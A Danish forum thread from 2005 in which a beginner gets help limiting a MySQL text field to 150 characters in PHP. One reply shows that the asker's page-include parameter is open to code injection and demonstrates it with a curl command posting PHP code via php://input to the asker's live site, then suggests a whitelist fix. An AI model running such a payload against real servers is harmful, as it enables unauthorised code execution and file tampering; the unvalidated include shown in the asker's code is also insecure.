Avatar billede venchil Nybegynder
08. maj 2005 - 15:10 Der er 24 kommentarer og
1 løsning

Udtrække 150 varchar

Hvordan begrænser jeg et udtræk, så jeg kun viser 150 varchar f.eks?
Avatar billede arne_v Ekspert
08. maj 2005 - 15:13 #1
Prøv:

SELECT SUBSTRING(felt,1,150) FROM tabel
Avatar billede venchil Nybegynder
08. maj 2005 - 15:18 #2
mysql_query("select substring(besked,1,150) * from portfolio order by tidspunkt desc limit 1");

Det kan jeg ikke?
Avatar billede arne_v Ekspert
08. maj 2005 - 15:21 #3
Hvor kom den * fra ?
Avatar billede venchil Nybegynder
08. maj 2005 - 15:22 #4
Jeg skal jo udtrække alle data fra alle andre felter, samtidig med at jeg begrænser feltet besked til 150 varchar...
Avatar billede arne_v Ekspert
08. maj 2005 - 15:23 #5
mysql_query("select substring(besked,1,150),x,y,z from portfolio order by tidspunkt desc limit 1");
Avatar billede Slater Ekspert
08. maj 2005 - 15:25 #6
Ja, det giver jo ikke mening OGSÅ at udtrække alting.. så får du alligevel hele strengen i besked. Så kan du lige så godt bruge PHP's substring funktion, eller hvilket sprog du nu arbejder i.
Avatar billede barklund Nybegynder
08. maj 2005 - 15:33 #7
Eller:

mysql_query("select *, substring(besked,1,150) as besked from portfolio order by tidspunkt desc limit 1");
Avatar billede venchil Nybegynder
08. maj 2005 - 15:45 #8
<?php
echo "<br>";

$conn = mysql_connect("localhost", "brugernavn", "password");
mysql_select_db("database");

$hent = mysql_query("select *, substring(besked,1,150) as besked from portfolio order by tidspunkt desc limit 1");

while ($vis = mysql_fetch_array($hent)) {
echo "<table style='width:100%;background-color:#e6e6e6;border:1px solid #DDE1E4'><tr><td>";
  echo "
<b>$vis[navn] - For $vis[klient]</b>
<br>$vis[kommentarer]
      ";
  echo "</td><td>";
  echo "<a href='forside.php?id=portfolio/content_portfolio_$vis[kategori]_0$vis[id].php'><img src='portfolio/content_portfolio_$vis[kategori]_0$vis[id].jpg' width='250px' height='150px' alt='Billede'></a>";
  echo "</td>";
echo "</td></tr></table>";
}

mysql_close($conn);

?>

Det virker ikke... Heller ikke arne_v's. En fejl kan ses her
http://www.darkcloud.dk/animepark/madskjaer/forside.php?id=content_portfolio.php
Avatar billede arne_v Ekspert
08. maj 2005 - 15:47 #9
smæk lige en

or die(mysql_error())

Avatar billede barklund Nybegynder
08. maj 2005 - 15:50 #10
Og lav lige din struktur om - eller hav selv problemer med at din server ikke har det så godt, når folk åbner siden:

http://www.darkcloud.dk/animepark/madskjaer/forside.php?id=forside.php

Derudover er lige netop denne form for navigation meget nem at "cracke" - og man kan lynhurtigt eksponere hele dit website og gøre lige hvad man vil. Nemlig ved at poste et php-script og åbne den som ?id=php://input
Avatar billede venchil Nybegynder
08. maj 2005 - 16:00 #11
Hvad mener du med at den er let at cracke? Hvordan laver jeg det om? Og hvordan ialverden har du tænk dig at cracke siden?
Avatar billede barklund Nybegynder
08. maj 2005 - 16:18 #12
Jeg har nu forklaret det fint ovenover (at poste et script og åbne php://input), men hvis du insisterer...

$ curl --data '<?php $fp = fopen("test.txt","w"); fwrite($fp,"Hej med dig :)"); ffp); ?>' http://www.darkcloud.dk/animepark/madskjaer/forside.php?id=php://input

Og voila:

http://www.darkcloud.dk/animepark/madskjaer/test.txt

Vil du se mere? ;)

--
Morten Barklund
Avatar billede barklund Nybegynder
08. maj 2005 - 16:25 #13
Og du fixer det nemmest ved simpelthen at lave en liste over sider, som man må hente, og så tester du først, om $_GET['id'] er i denne liste via in_array - så mange sider drejer det sig vel ikke om :)
Avatar billede barklund Nybegynder
08. maj 2005 - 16:26 #14
Eller alternativt giver alle sider et "navn" via et array som:

$sider = array("port" => "content_portfolio.php", "flaf" => "flaf.php");

Og så åbner du via ?id=port - så kan man ikke åbne vilkårlige sider.
Avatar billede venchil Nybegynder
08. maj 2005 - 16:47 #15
Nå, men tilbage til spørgsmålet :P. Jeg forstår ikke helt hvad i mener?
Avatar billede barklund Nybegynder
08. maj 2005 - 16:52 #16
Ret:

$hent = mysql_query("select *, substring(besked,1,150) as besked from portfolio order by tidspunkt desc limit 1");

Til:

$hent = mysql_query("select *, substring(besked,1,150) as besked from portfolio order by tidspunkt desc limit 1") or die("sql-fejl: ".mysql_error());

Og prøv igen :)

--
Morten Barklund
Avatar billede barklund Nybegynder
08. maj 2005 - 16:53 #17
(og du er med på, at jeg lige lavede en side på din server? jeg kunne snildt lave et php-script, der slettede dine filer eller overskrev dem med noget andet...)
Avatar billede venchil Nybegynder
08. maj 2005 - 16:59 #18
Fatter stadig ikke hvor du skriver $ curl --data '<?php $fp = fopen("test.txt","w"); fwrite($fp,"Hej med dig :)"); ffp); ?>', men det er underordnet, skal lige kigge på det...

Nå, det prøver jeg lige :)
Avatar billede venchil Nybegynder
08. maj 2005 - 17:03 #19
UPS, havde lige glemt at det ikke skulle være besked, men kommentarer. Men denn begrænser ikke noget overhovedet...


    <?php include("content_portfolio_top.html"); ?>

    <table style="width:100%">
    <tr>
    <td>Vær venlig at vælge en kategori</td>
    </tr>
    </table>

<?php
echo "<br>";

$conn = mysql_connect("localhost", "brugernavn", "password");
mysql_select_db("database");

$hent = mysql_query("select *, substring(kommentarer,1,150) as besked from portfolio order by tidspunkt desc limit 1") or die("sql-fejl: ".mysql_error());

while ($vis = mysql_fetch_array($hent)) {
echo "<table style='width:100%;background-color:#e6e6e6;border:1px solid #DDE1E4'><tr><td>";
  echo "
<b>$vis[navn] - For $vis[klient]</b>
<br>$vis[kommentarer]
      ";
  echo "</td><td>";
  echo "<a href='forside.php?id=portfolio/content_portfolio_$vis[kategori]_0$vis[id].php'><img src='portfolio/content_portfolio_$vis[kategori]_0$vis[id].jpg' width='250px' height='150px' alt='Billede'></a>";
  echo "</td>";
echo "</td></tr></table>";
}

mysql_close($conn);

?>
<div style="width:50%;float:left;"><img src="content_grafik_bottom_left.jpg" alt="Bottom" align="left"></div>
<div style="width:50%;float:left;"><img src="content_grafik_bottom_right2.jpg" alt="Bottom" align="right"></div>
Avatar billede barklund Nybegynder
08. maj 2005 - 17:06 #20
Så skal der jo ikke stå as besked, men as kommentarer... Eller bare fjerne den del, tror nok den stadig får samme navn, når den kommer ud...

Og jeg skriver det fra en kommando-prompt på en unix-maskine - og gør det ved at kalde programmet curl med de angivne post data til den angivne side.
Avatar billede venchil Nybegynder
08. maj 2005 - 17:10 #21
Ok, så meget "nørd" er jeg ikke. Kører WinXPhome.
Avatar billede venchil Nybegynder
08. maj 2005 - 17:14 #22
Nu virker det... Barklund må få point...
Opretter lige et andet spørgsmål, så kan du lige forklare mig hvordan jeg skulle sikre mig mod slemme "crackere"
Avatar billede venchil Nybegynder
08. maj 2005 - 17:20 #23
Vent lige... er det ikke noget á la:

    <?php
       
        $allowed[] = array("content_forside.php", "andenside.php")
    if ($_GET['id'] = $allowed[]) {
    include("$_GET['id']");
    }
    else {
    echo "Siden havde ikke tilladelse til at kaldes";
    }
    ?>

Tester det lige... Men bare sig ja eller nej.
Avatar billede barklund Nybegynder
08. maj 2005 - 17:21 #24
Det er vist blot:

    <?php
     
        $allowed = array("content_forside.php", "andenside.php")
    if (in_array($_GET['id'], $allowed)) {
    include("$_GET['id']");
    }
    else {
    echo "Siden havde ikke tilladelse til at kaldes";
    }
    ?>

--
Morten Barklund
Avatar billede barklund Nybegynder
08. maj 2005 - 18:33 #25
Tark for points...
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Computerworld tilbyder specialiserede kurser i database-management

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester